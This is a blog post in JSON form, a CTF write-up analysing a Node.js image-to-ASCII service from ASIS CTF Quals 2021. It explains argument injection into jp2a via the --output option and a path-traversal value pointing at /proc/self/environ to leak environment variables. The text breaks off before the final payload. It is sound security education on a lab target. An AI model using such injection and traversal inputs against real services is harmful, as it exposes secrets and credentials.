{"id":2431,"date":"2021-10-24T17:41:42","date_gmt":"2021-10-24T17:41:42","guid":{"rendered":"https:\/\/devel0pment.de\/?p=2431"},"modified":"2023-06-24T06:43:46","modified_gmt":"2023-06-24T06:43:46","slug":"asis-ctf-quals-2021-ascii-art-a-a-service","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=2431","title":{"rendered":"ASIS CTF Quals 2021 &#8211; ASCII art a a service"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"169\" height=\"88\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/00.png\" alt=\"\" class=\"wp-image-2432\"\/><\/figure>\n\n\n\nThe <a href=\"https:\/\/asisctf.com\" rel=\"noreferrer noopener\" target=\"_blank\">ASIS CTF Quals 2021<\/a> (<a href=\"https:\/\/ctftime.org\/event\/1415\" rel=\"noreferrer noopener\" target=\"_blank\">ctftime.org<\/a>) took place from 22\/10\/2021, 15:00 UTC to 24\/10\/2021, 15:00 UTC providing a total amount of 24 challenges.<br><br>\n\nOne of those challenges I really enjoyed was <i>ASCII art as a service<\/i>. This article contains my writeup for the challenge and is divided into the following sections:<br><br>\n\n\u2013 <a href=\"?p=2431#chlg\">Challenge Description<\/a><br>\n\u2013 <a href=\"?p=2431#src\">Source Code<\/a><br>\n\u2013 <a href=\"?p=2431#sol\">Solution<\/a><br><br>\n\n\n\n<!--more-->\n\n\n\n<hr><h1 id=\"chlg\">Challenge Description<\/h1>\n<style>\n.syntaxhighlighter\n{\n  background-color: #eeeeee !important;\n  padding:20px;\n}\n.syntaxhighlighter .line .number\n{\n  background-color: #eeeeee !important;\n}\n\n\/* First line *\/\n.syntaxhighlighter .line.alt1\n{\n  background-color: #eeeeee !important;\n}\n\n\/* Second line *\/\n.syntaxhighlighter .line.alt2\n{\n  background-color: #eeeeee !important;\n}\n\ncode {\n  color:#0000ff;\n}\n<\/style>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"761\" height=\"291\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/01.png\" alt=\"\" class=\"wp-image-2433\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/01.png 761w, https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/01-300x115.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/figure>\n\n\n\n<p>The challenge provides the source code of the nodejs application as well as a <code>Dockerfile<\/code> and <code>docker-compose.yml<\/code> in order to run the server locally:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ tar -xvf ascii_art_as_a_service_6ce4aa478f6b3427da1a1364dd1fdf8437005f59.txz\n...\n$ find ascii_art_as_a_service \nascii_art_as_a_service\nascii_art_as_a_service\/Dockerfile\nascii_art_as_a_service\/app\nascii_art_as_a_service\/app\/static\nascii_art_as_a_service\/app\/static\/index.html\nascii_art_as_a_service\/app\/index.js\nascii_art_as_a_service\/app\/request\nascii_art_as_a_service\/app\/package.json\nascii_art_as_a_service\/app\/output\nascii_art_as_a_service\/docker-compose.yml\n<\/pre><\/div>\n\n\n<p>The application allows us to a provide a URL to an image, which is then converted to ASCII art:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"608\" height=\"392\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/02.png\" alt=\"\" class=\"wp-image-2436\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/02.png 608w, https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/02-300x193.png 300w\" sizes=\"(max-width: 608px) 100vw, 608px\" \/><\/figure>\n\n\n\n<p>For example if we submit the URL of the ASIS CTF logo, we get the following output:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"622\" height=\"490\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/03.png\" alt=\"\" class=\"wp-image-2437\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/03.png 622w, https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/10\/03-300x236.png 300w\" sizes=\"(max-width: 622px) 100vw, 622px\" \/><\/figure>\n\n\n\n<p>Within the <code>docker-compose.yml<\/code> file we can see, that the flag is stored in an environment variable:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat ascii_art_as_a_service\/docker-compose.yml \nversion: &#039;3&#039;\nservices:\n  ascii_art_as_a_service:\n    build: .\n    restart: always\n    read_only: true\n    tmpfs:\n      - \/app\/request\n      - \/app\/output\n      - \/tmp\n    ports:\n      - 8000:9000\n    environment:\n      - FLAG=flag{fake-flag}\n<\/pre><\/div>\n\n\n<p>Thus we need to find some way to read this environment variable.<\/p>\n\n\n\n<hr><h1 id=\"src\">Source Code<\/h1>\n\n\n\n<p>The source code of the application itself is stored in <code>app\/index.js<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env node\nconst express = require(&#039;express&#039;)\nconst childProcess = require(&#039;child_process&#039;)\nconst expressSession = require(&#039;express-session&#039;)\nconst fs = require(&#039;fs&#039;)\nconst crypto = require(&#039;crypto&#039;)\nconst app = express()\nconst flag = process.env.FLAG || process.exit()\nconst genRequestToken = () =&gt; Array(32).fill().map(()=&gt;&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;.charAt(Math.random()*62)).join(&quot;&quot;)\n\napp.use(express.static(&quot;.\/static&quot;))\napp.use(expressSession({\n\tsecret: crypto.randomBytes(32).toString(&quot;base64&quot;),\n\tresave: false,\n\tsaveUninitialized: true,\n\tcookie: { secure: false, sameSite: &#039;Lax&#039; }\n}))\napp.use(express.json())\n\napp.post(&#039;\/request&#039;,(req,res)=&gt;{\n\tconst url = req.body.url\n\tconst reqToken = genRequestToken()\n\tconst reqFileName = `.\/request\/${reqToken}`\n\tconst outputFileName = `.\/output\/${genRequestToken()}`\n\n\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,&quot;Processing...&quot;].join(&#039;|&#039;))\n\tsetTimeout(()=&gt;{\n\t\ttry{\n\t\t\tconst output = childProcess.execFileSync(&quot;timeout&quot;,&#x5B;&quot;2&quot;,&quot;jp2a&quot;,...url])\n\t\t\tfs.writeFileSync(outputFileName,output.toString())\n\t\t\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,outputFileName].join(&#039;|&#039;))\n\t\t} catch(e){\n\t\t\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,&quot;Something bad happened!&quot;].join(&#039;|&#039;))\n\t\t}\n\t},2000)\n\tres.redirect(`\/request\/${reqToken}`)\n})\n\napp.get(&quot;\/request\/:reqtoken&quot;,(req,res)=&gt;{\n\tconst reqToken = req.params.reqtoken\n\tconst reqFilename = `.\/request\/${reqToken}`\n\tvar content\n\tif(!\/^&#x5B;a-zA-Z0-9]{32}$\/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: &quot;bad request token.&quot; })\n\n\tconst &#x5B;origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split(&quot;|&quot;)\n\n\tif(req.session.id != ownerSessid) return res.json( { failed: true, result: &quot;Permissions...&quot; })\n\tif(result&#x5B;0] != &quot;.&quot;) return res.json( { failed: true, result: result })\n\n\ttry{\n\t\tcontent = fs.readFileSync(result).toString();\n\t} catch(e) {\n\t\treturn res.json({ failed: false, result: &quot;Something bad happened!&quot; })\n\t}\n\n\tres.json({ failed: false, result: content })\n\tres.end()\n})\n\napp.get(&quot;\/flag&quot;,(req,res)=&gt;{\n\tif(req.ip == &quot;127.0.0.1&quot; || req.ip == &quot;::ffff:127.0.0.1&quot;) res.json({ failed: false, result: flag })\n\telse res.json({ failed: true, result: &quot;Flag is not yours...&quot; })\n})\n\nfunction clearOutput(){\n\ttry{\n\t\tchildProcess.execSync(&quot;rm .\/output\/* .\/request\/* 2&gt; \/dev\/null&quot;)\n\t} catch(e){}\n\tsetTimeout(clearOutput,120e3)\n}\n\nclearOutput()\napp.listen(9000)\n<\/pre><\/div>\n\n\n<p>Let&#8217;s point out a few noticeable aspects of the source code.<\/p>\n\n\n\n<p>The <code>GET<\/code> endpoint <code>\/flag<\/code> yields the flag, but only if the request originates from <code>127.0.0.1<\/code> or <code>::ffff:127.0.0.1<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\napp.get(&quot;\/flag&quot;,(req,res)=&gt;{\n\tif(req.ip == &quot;127.0.0.1&quot; || req.ip == &quot;::ffff:127.0.0.1&quot;) res.json({ failed: false, result: flag })\n\telse res.json({ failed: true, result: &quot;Flag is not yours...&quot; })\n})\n<\/pre><\/div>\n\n\n<p>As we will later see, we don&#8217;t need this endpoint to get the flag.<\/p>\n\n\n\n<p>The <code>POST<\/code> endpoint <code>\/request<\/code> is used to retrieve a URL to an image from the user and convert it to ASCII art:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\napp.post(&#039;\/request&#039;,(req,res)=&gt;{\n\tconst url = req.body.url\n\tconst reqToken = genRequestToken()\n\tconst reqFileName = `.\/request\/${reqToken}`\n\tconst outputFileName = `.\/output\/${genRequestToken()}`\n\n\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,&quot;Processing...&quot;].join(&#039;|&#039;))\n\tsetTimeout(()=&gt;{\n\t\ttry{\n\t\t\tconst output = childProcess.execFileSync(&quot;timeout&quot;,&#x5B;&quot;2&quot;,&quot;jp2a&quot;,...url])\n\t\t\tfs.writeFileSync(outputFileName,output.toString())\n\t\t\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,outputFileName].join(&#039;|&#039;))\n\t\t} catch(e){\n\t\t\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,&quot;Something bad happened!&quot;].join(&#039;|&#039;))\n\t\t}\n\t},2000)\n\tres.redirect(`\/request\/${reqToken}`)\n})\n<\/pre><\/div>\n\n\n<p>Let&#8217;s have a closer look at each part of this. At first a random filename <code>reqFileName<\/code> within the folder <code>.\/request<\/code> is created:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tconst reqToken = genRequestToken()\n\tconst reqFileName = `.\/request\/${reqToken}`\n...\n<\/pre><\/div>\n\n\n<p>The <code>genRequestToken<\/code> function is defined a few lines above and simply generates a random 32 byte token:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\nconst genRequestToken = () =&gt; Array(32).fill().map(()=&gt;&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;.charAt(Math.random()*62)).join(&quot;&quot;)\n...\n<\/pre><\/div>\n\n\n<p>Secondly a random filename <code>outputFileName<\/code> within the folder <code>.\/output\/<\/code> is created the same way:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tconst outputFileName = `.\/output\/${genRequestToken()}`\n...\n<\/pre><\/div>\n\n\n<p>At next the following content is written to the file <code>reqFileName<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,&quot;Processing...&quot;].join(&#039;|&#039;))\n...\n<\/pre><\/div>\n\n\n<p>These three pipe-separated values are:<\/p>\n\n\n\n<ul style=\"margin-left:20px\">\n<li>the request token (<code>reqToken<\/code>), which was also used as the filename within the <code>.\/request\/<\/code> folder<\/li>\n<li>the express session id (<code>req.session.id<\/code>)<\/li>\n<li>the static string <code>\"Processing...\"<\/code><\/li>\n<\/ul>\n\n\n\n<p>An example content of the file at this point might look like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nwww@d6f31929ff83:\/app$ cat request\/jkrfHfSwadMpU3waxeif6NlOLF7epMFT \njkrfHfSwadMpU3waxeif6NlOLF7epMFT|gX7QbQU1v-0pPZqO6dHOyuxWeZagOBeF|Processing...\n<\/pre><\/div>\n\n\n<p>After the file has been written, <code>childProcess.execFileSync<\/code> is used to run the external program <code>jp2a<\/code>, which is responsible for converting an image to ASCII art:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\t\t\tconst output = childProcess.execFileSync(&quot;timeout&quot;,&#x5B;&quot;2&quot;,&quot;jp2a&quot;,...url])\n...\n<\/pre><\/div>\n\n\n<p>The actual binary being executed is <code>timeout<\/code> with the first argument set to <code>2<\/code>. This will make the <code>jp2a<\/code> program terminate, if it takes longer than 2 seconds to execute. Noticeable is the last parameter: <code>...url<\/code>. The <code>url<\/code> variable is directly taken from the request body:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\n...\n\tconst url = req.body.url\n...\n<\/pre><\/div>\n\n\n<p>The three dots in front of the <code>url<\/code> variable converts an array of strings to a single, space-separated string. See the following example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n$ node\n\n&gt; url = &#x5B;&#039;aa&#039;,&#039;bb&#039;,&#039;cc&#039;]\n\n&gt; console.log(url)\n&#x5B; &#039;aa&#039;, &#039;bb&#039;, &#039;cc&#039; ]\n\n&gt; console.log(...url)\naa bb cc\n<\/pre><\/div>\n\n\n<p>After the <code>jp2a<\/code> program was executed and converted the provided image to ASCII art, this ASCII art (<code>output<\/code>) is written to the <code>outputFileName<\/code> file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\t\t\tfs.writeFileSync(outputFileName,output.toString())\n...\n<\/pre><\/div>\n\n\n<p>For example after retrieving the ASIS logo, the <code>outputFileName<\/code> file looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nwww@d6f31929ff83:\/app$ cat output\/U5hNtdAnvDxv9UwyZjfqlkTRgb8P77Uw \n                 .dkO0KOkkOKO:                                                  \n              :O0xl:&#039;..    .;kxOk;                                              \n           ,k0x;.   .......    .:0c                    .&#039;.                      \n         dOd;.  ..&#039;,,,&#039;&#039;..&#039;&#039;&#039;..  .K.               ,kkxolldkkx.                 \n       x0o.  ..,,,&#039;..      &#039;,,,&#039;  x&#039;              k0:.      .oX,                \n     &#039;Kk.  .&#039;,,,&#039;.  .;ox&#039; .,,,,&#039;  x.             cK.  .&#039;,,&#039;.  xK                \n    l0;  .&#039;,,,&#039;.  ;;  Xk  &#039;,,,,.  O        .coc. lO  .,,,,,.  od   ;loc.        \n   lO.  .,,,,&#039;  ,d   cX. .,,,,&#039;  .d     ;O0xl:lx0K0;  .....  ,k cOOo::lx0k.     \n  cK&#039;  &#039;,,,,.  :,    Xd  .,,,,.  k.   .O0:.     .oO;       ,d &#039;Ok.      .oO     \n ;X;  &#039;,,,,.  c.    dK.  ,,,,&#039;  ;k  .x0c  ..&#039;,&#039;.     .&#039;&#039;.  dxk0c  .&#039;&#039;,&#039;.  0     \n Xo  &#039;,,,,.  oc    .X:  &#039;,,,,.  0. lKd.  .,,,&#039;.     &#039;,,,   KXd.  &#039;,,,&#039;.  ::     \noK  .,,,,&#039;  :d    .Kx  .,,,,.  dc.kk,  .&#039;,,,,.  :  .,,,.  ok,  .&#039;,,,,   d&#039;&#039;ooo. \nKd  ,;;;;.  K.   ,Xo  .;;;;,  &#039;XX0c  .,;;,;;;&#039;  .  ;;;;. .;  .,;;,;;;.  OKkc:oKk\nKc  loooo. &#039;X   lXl  &#039;ooooo:  dd;. .:ool&#039; looo    :oooo    .:ool..oooo  .,    ,X\nkl  loooo. .KOdko&#039;  ;oo;ooo;    .&#039;cooc&#039;   looo  .&#039;oooo:  ,cooo&#039;  .oooo  ..;l. .X\n,O  ;ooooc  .,&#039;. .,lol..oool&#039;,:oooool.    oooo:loooooo: looooc   ,oooo:loool. .X\n dc  looool;&#039;.&#039;,cooo:   oooooooooc&#039;loo:;;looooooc:oooooooo:loo:;:oooooooc;.  .d,\n  .l  &#039;:ooooooool:,. .. .:cc:;,..   .,:::::,&#039;..   .&#039;,,,&#039;.   .,::::;,&#039;..  .;;    \n    c;.  ..&#039;&#039;&#039;&#039;.  .;o cc.    ..;l.&#039;l,..   ..,:l&#039;.l;&#039;...,c:,l,..   .&#039;;:l&#039;        \n       :c;&#039;...&#039;;l&#039;                                                              \n          ,lol, \n\n<\/pre><\/div>\n\n\n<p>At next the <code>reqFileName<\/code> file is updated by setting the third pipe-separated value to the filename <code>outputFileName<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\t\t\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,outputFileName].join(&#039;|&#039;))\n...\n<\/pre><\/div>\n\n\n<p>Now the file looks for example like this (the static string <code>\"Processing...\"<\/code> was replaced with the value of <code>outputFileName<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nwww@d6f31929ff83:\/app$ cat request\/jkrfHfSwadMpU3waxeif6NlOLF7epMFT \njkrfHfSwadMpU3waxeif6NlOLF7epMFT|gX7QbQU1v-0pPZqO6dHOyuxWeZagOBeF|.\/output\/W6It6ybWQvgaMuEQGOi4oo3hoEExMCqe\n<\/pre><\/div>\n\n\n<p>In cause of an error during the execution of the <code>jp2a<\/code> program, the third pipe-separated value is populated with the static string <code>\"Something bad happened!\"<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\t\t} catch(e){\n\t\t\tfs.writeFileSync(reqFileName,&#x5B;reqToken,req.session.id,&quot;Something bad happened!&quot;].join(&#039;|&#039;))\n\t\t}\n...\n<\/pre><\/div>\n\n\n<p>At the very last a redirect to the <code>GET<\/code> endpoint <code>\/request\/${reqToken}<\/code> is issued:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tres.redirect(`\/request\/${reqToken}`)\n...\n<\/pre><\/div>\n\n\n<p>Let&#8217;s also have a closer look at this <code>GET<\/code> endpoint:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\napp.get(&quot;\/request\/:reqtoken&quot;,(req,res)=&gt;{\n\tconst reqToken = req.params.reqtoken\n\tconst reqFilename = `.\/request\/${reqToken}`\n\tvar content\n\tif(!\/^&#x5B;a-zA-Z0-9]{32}$\/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: &quot;bad request token.&quot; })\n\n\tconst &#x5B;origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split(&quot;|&quot;)\n\n\tif(req.session.id != ownerSessid) return res.json( { failed: true, result: &quot;Permissions...&quot; })\n\tif(result&#x5B;0] != &quot;.&quot;) return res.json( { failed: true, result: result })\n\n\ttry{\n\t\tcontent = fs.readFileSync(result).toString();\n\t} catch(e) {\n\t\treturn res.json({ failed: false, result: &quot;Something bad happened!&quot; })\n\t}\n\n\tres.json({ failed: false, result: content })\n\tres.end()\n})\n<\/pre><\/div>\n\n\n<p>The <code>reqToken<\/code> is taken from the URI path and is used to set the <code>reqFileName<\/code> variable:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tconst reqToken = req.params.reqtoken\n\tconst reqFilename = `.\/request\/${reqToken}`\n...\n<\/pre><\/div>\n\n\n<p>At first it is verified that the user provided <code>reqToken<\/code> from the URI path contains 32 characters \/ digits. If that is true, it is also verified that the corresponding <code>reqFilename<\/code> file exists. Otherwise the error message <code>\"bad request token.\"<\/code> is returned:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tif(!\/^&#x5B;a-zA-Z0-9]{32}$\/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: &quot;bad request token.&quot; })\n...\n<\/pre><\/div>\n\n\n<p>If these checks are passed, the <code>reqFilename<\/code> file is read and the pipe-separated values are stored in local variables:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tconst &#x5B;origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split(&quot;|&quot;)\n...\n<\/pre><\/div>\n\n\n<p>Now it is verified that the <code>req.session.id<\/code> from the current request matches the session id from the original request (<code>ownerSessid<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tif(req.session.id != ownerSessid) return res.json( { failed: true, result: &quot;Permissions...&quot; })\n...\n<\/pre><\/div>\n\n\n<p>If the <code>result<\/code> variable (third of the pipe-separated values) does not begin with a dot (<code>.<\/code>), its content is directly returned:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tif(result&#x5B;0] != &quot;.&quot;) return res.json( { failed: true, result: result })\n...\n<\/pre><\/div>\n\n\n<p>Otherwise it is assumed to be the former <code>outputFileName<\/code>. This file was used to store the output of the <code>jp2a<\/code> command (namely the ASCII art). In this case the file is read and its content is returned:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\ttry{\n\t\tcontent = fs.readFileSync(result).toString();\n\t} catch(e) {\n\t\treturn res.json({ failed: false, result: &quot;Something bad happened!&quot; })\n\t}\n\t\n\tres.json({ failed: false, result: content })\n\tres.end()\n...\n<\/pre><\/div>\n\n\n<p>Now that we have a good understanding of what the application does, let&#8217;s see how we can use this to get the flag.<\/p>\n\n\n\n<hr><h1 id=\"sol\">Solution<\/h1>\n\n\n\n<p>One crucial aspect is that we can pass arbitrary arguments to the <code>jp2a<\/code> program by using the <code>url<\/code> parameter:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; highlight: [2,6]; title: ; notranslate\" title=\"\">\napp.post(&#039;\/request&#039;,(req,res)=&gt;{\n\tconst url = req.body.url\n\t...\n\tsetTimeout(()=&gt;{\n\t\ttry{\n\t\t\tconst output = childProcess.execFileSync(&quot;timeout&quot;,&#x5B;&quot;2&quot;,&quot;jp2a&quot;,...url])\n\t\t\t...\n<\/pre><\/div>\n\n\n<p>The arguments we can provide also includes options for <code>jp2a<\/code>. And there are quite a few:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n$ jp2a -h\njp2a 1.1.0                                                                                         \nCopyright 2006-2016 Christian Stigen Larsen                                                        \nand 2020 Christoph Raitzig                                                                         \nDistributed under the GNU General Public License (GPL) v2.\n\nUsage: jp2a &#x5B; options ] &#x5B; file(s) | URL(s) ]\n\nConvert files or URLs from JPEG\/PNG format to ASCII.\n\nOPTIONS\n  -                 Read images from standard input.\n      --blue=N.N    Set RGB to grayscale conversion weight, default is 0.1145\n  -b, --border      Print a border around the output image.\n      --chars=...   Select character palette used to paint the image.\n                    Leftmost character corresponds to black pixel, right-\n                    most to white.  Minimum two characters must be specified.\n      --clear       Clears screen before drawing each output image.\n      --colors      Use true colors or, if true color is not supported, ANSI\n                    in output.\n      --color-depth=N   Use a specific color-depth for terminal output. Valid\n                        values are: 4 (for ANSI), 8 (for 256 color palette)\n                        and 24 (for truecolor or 24-bit color).\n  -d, --debug       Print additional debug information.\n      --fill        When used with --color and\/or --htmlls or --xhtml, color\n                    each character&#039;s background.\n  -x, --flipx       Flip image in X direction.\n  -y, --flipy       Flip image in Y direction.\n  -f, --term-fit    Use the largest image dimension that fits in your terminal\n                    display with correct aspect ratio.\n      --term-height Use terminal display height.\n      --term-width  Use terminal display width.\n  -z, --term-zoom   Use terminal display dimension for output.\n      --grayscale   Convert image to grayscale when using --htmlls or --xhtml\n                    or --colors\n      --green=N.N   Set RGB to grayscale conversion weight, default is 0.5866\n      --height=N    Set output height, calculate width from aspect ratio.\n  -h, --help        Print program help.\n      --htmlls      Produce HTML (Living Standard) output.\n      --html        Produce strict XHTML 1.0 output (will produce HTML output\n                    from version 2.0.0 onward).\n      --xhtml       Produce strict XHTML 1.0 output.\n      --html-fill   Same as --fill (will be phased out).\n      --html-fontsize=N   Set fontsize to N pt, default is 4.\n      --html-no-bold      Do not use bold characters with HTML output\n      --html-raw    Output raw HTML codes, i.e. without the &lt;head&gt; section etc.\n                    (Will use &lt;br&gt; for version 2.0.0 and above.)\n      --html-title=...  Set HTML output title\n  -i, --invert      Invert output image.  Use if your display has a dark\n                    background.\n      --background=dark   These are just mnemonics whether to use --invert\n      --background=light  or not.  If your console has light characters on\n                    a dark background, use --background=dark.\n      --output=...  Write output to file.\n      --red=N.N     Set RGB to grayscale conversion weight, default 0.2989f.\n      --size=WxH    Set output width and height.\n  -v, --verbose     Verbose output.\n  -V, --version     Print program version.\n      --width=N     Set output width, calculate height from ratio.\n\n  The default mode is `jp2a --term-fit --background=dark&#039;.\n  See the man-page for jp2a for more detailed help text.\n\nProject homepage on https:\/\/github.com\/Talinx\/jp2a\nReport bugs to &lt;chris-r@posteo.net&gt;\n<\/pre><\/div>\n\n\n<p>One option that immediately sticks out is <code>--output<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n...\n      --output=...  Write output to file.\n...\n<\/pre><\/div>\n\n\n<p>This means that we can write the output of <code>jp2a<\/code> (ASCII art) to a file.<\/p>\n\n\n\n<p>A valuable target for a file to write is the <code>reqFilename<\/code> in the <code>.\/request\/<\/code> folder, which contains the three pipe-separated values. The last of these values may contain a filename (<code>outputFileName<\/code>), which can be read via the <code>\/request\/:reqtoken<\/code> <code>GET<\/code> endpoint.<\/p>\n\n\n\n<p>If we set this filename to <code>\/proc\/self\/environ<\/code>, we can read all environment variables of the nodejs process including the flag.<\/p>\n\n\n\n<p>We already noticed that the third pipe-separated value is only treated as a filename, when the first character is a dot (<code>.<\/code>). Thus we cannot use an absolute path beginning with a slash (<code>\/<\/code>). Though we can use path traversal to take this into account and reference the target file via <code>.\/..\/..\/..\/..\/proc\/self\/environ<\/code>.<\/p>\n\n\n\n<p>Thus the <code>reqFilename<\/code> file we want to write, should look like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n&lt;reqToken&gt;|&lt;req.session.id&gt;|.\/..\/..\/..\/..\/proc\/self\/environ\n<\/pre><\/div>\n\n\n<p>For the <code>reqToken<\/code> we only have to ensure that we satisfy the following check:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\n\tif(!\/^&#x5B;a-zA-Z0-9]{32}$\/.test(reqToken) ...\n...\n<\/pre><\/div>\n\n\n<p>Thus a <code>reqToken<\/code> like <code>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<\/code> (<code>'a'*32<\/code>) is fine. Since the <code>reqToken<\/code> value is also used as the filename, the file we want to write is <code>.\/request\/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<\/code>. Which <code>reqToken<\/code> we write into the file actually does not matter, because it is not evaluated after being parsed into <code>origReqToken<\/code> (first pipe-separated value).<\/p>\n\n\n\n<p>The <code>req.session.id<\/code> (second pipe-separated value) must be a valid session id, because otherwise express will not accept it and issue a new session id.<\/p>\n\n\n\n<p>Summing this up we can conclude that we should provide the option <code>--output=.\/request\/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<\/code> in order to write a <code>reqFilename<\/code> file.<\/p>\n\n\n\n<p>We also know, what we want to write into the file, in order to read <code>\/proc\/self\/environ<\/code>. The only problem left is how can we write this content?<\/p>\n\n\n\n<p>The content written to the file is the output of <code>jp2a<\/code>, which is the converted ASCII art. Thus we need to find a way to make <code>jp2a<\/code> convert an image to an arbitrary content of our choice.<\/p>\n\n\n\n<p>In order to do this another option comes in handy: <code>--chars<\/code>:<\/p>\n\n\n<div 